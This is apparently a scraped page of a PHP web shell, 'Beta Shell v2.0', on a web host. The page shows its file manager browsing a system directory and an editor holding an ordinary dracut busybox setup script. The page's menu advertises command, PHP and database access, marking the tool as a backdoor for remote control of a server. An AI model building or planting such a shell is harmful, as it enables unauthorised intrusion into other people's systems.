Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
lib
/
dracut
/
modules.d
/
05busybox
Upload
3 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
module-setup.sh
570 B
-rwxr-xr-x
2024-01-15 17:22:40
Edit
Del
Editing: module-setup.sh
(570 B)
Path: /usr/lib/dracut/modules.d/05busybox/module-setup.sh
Back
#!/bin/bash # called by dracut check() { require_binaries busybox || return 1 return 255 } # called by dracut depends() { return 0 } # called by dracut install() { local _i _path _busybox local _progs=() _busybox=$(find_binary busybox) inst $_busybox /usr/bin/busybox for _i in $($_busybox --list); do [[ ${_i} == busybox ]] && continue _progs+=("${_i}") done for _i in "${_progs[@]}"; do _path=$(find_binary "$_i") [ -z "$_path" ] && continue ln_r /usr/bin/busybox $_path done }